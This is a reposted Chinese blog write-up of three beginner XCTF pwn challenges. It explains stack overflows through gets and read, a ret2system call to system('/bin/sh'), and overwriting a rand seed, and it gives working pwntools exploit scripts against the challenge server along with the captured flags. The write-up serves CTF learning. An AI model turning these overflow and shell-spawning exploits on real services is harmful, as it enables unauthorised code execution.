【CTF】Pwn入门 XCTF 部分writeup
阅读原文时间:2021年07月21日阅读:1

碎碎念

咕咕咕了好久的Pwn,临时抱佛脚入门一下。

先安利之前看的一个 Reverse+Pwn 讲解视频

讲的还是很不错的,建议耐心看完

另外感觉Reverse和Pwn都好难!!

不,CTF好难!!

之前学C的时候了解过gets()函数很危险

一般笔者会使用如下代码代替gets()

scanf("%[^\n]%*c",a);

学了Pwn更直观地感受到了这一点

关于scanf的更多用法详见

https://blog.csdn.net/jeffasd/article/details/80705487

堆栈示意图

writeup

题目链接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1

附件是没有扩展名的文件

//后面的题目就不提了附件了应该都是Linux文件

刚刚开始入门Pwn

参考

https://www.cnblogs.com/yidianhan/p/11583561.html

IDA64打开 F5反编译

很明显gets函数的地方存在漏洞

//学C的时候就应该知道这个函数存在风险

// gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。

要v5不等于1926才能进入else

而cat flag又需要v5等于1926

双击变量v4 v5存放在同一个stack中

看IDA最上面的rsp rbp也可以看出来

源代码可知先压v5再压v4

构造exp压v4的时候覆盖v5的值

//wp中的exp有问题

//第一次不是send 1926 send其他值才能进入else

修改如下

from pwn import *

p=remote('220.249.52.133',34030)
shellcode=b'a'*8+p64(1926)
p.recvuntil('Your Birth?')
p.sendline('1')
p.sendline(shellcode)
p.interactive()

Flag:cyberpeace{0541792f47eb4f7c642d2d7af1b5885f}

//噗随机出来50额外金币 叫我欧皇!

结束。

题目链接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1

IDA打开 F5反编译

???

参考

https://blog.csdn.net/macro_wing/article/details/98243439

https://www.cnblogs.com/yidianhan/p/11597188.html

代码非常简单

溢出点在read函数

需要通过read溢出最后执行

system(‘/bin/sh’)获得shell

esp 0 ebp -88

offset=88

wp中的exp遇到如下报错

!注意:python3中next()方法更名了 修改为__next__()

参考

https://blog.csdn.net/gaifuxi9518/article/details/81059938

修改了wp中的exp

from pwn import *

elf=ELF('./level2')
p=remote('220.249.52.133',39494)
sys_addr=elf.symbols['system']
bin_addr=elf.search('/bin/sh').__next__()
shellcode='a'*(0x88+0x4)+p32(sys_addr)+p32(0)+p32(bin_addr)
p.recvline
p.sendline(shellcode)
p.interactive()
p.close()

!不要再用windows打Pwn了 拿到shell也执行不了

//好吧怎么可能有人用windows打Pwn 然而一开始我踩坑了

取得shell后ls然后cat flag

Flag:cyberpeace{6c8681084181617bd2e2a7bbb0a2a169}

结束。

题目链接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1

开启了canary栈保护 不能直接溢出栈

IDA64打开 F5反编译

代码逻辑清晰srand生成随机数种子 然后循环遍历生成随机数 猜对数字cat flag

溢出点在gets

seed数组 rsp+30 rbp-10

v9 rsp+10 rbp-30

offset=20

参考

https://blog.csdn.net/macro_wing/article/details/99236880

https://www.cnblogs.com/644-bbbb/p/12741211.html

srand初始化随机种子,rand产生随机数。随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。

对于该题目,我们将随机种子设置为0或1都是可以的。

编写exp时需要用到libc共享库 使用ctypes模块

先ldd命令查找libc共享库位置

exp

from pwn import *
from ctypes import *
p = remote('220.249.52.133',46393)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = b'a' * 0x20 + p64(1)

p.sendlineafter("name:",payload)
#get offset is 0x20,edit seed as 1
libc.srand(1)
for i in range(10):
    p.recvuntil("number:")
    p.sendline(str(libc.rand()%6+1))
p.interactive()

Flag:cyberpeace{473602a1807e5a385d0ea90b25b67d55}

结束。

转载请注明出处

本文作者:双份浓缩馥芮白

原文链接:https://www.cnblogs.com/Flat-White/p/13643265.html

版权所有,如需转载请注明出处。

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章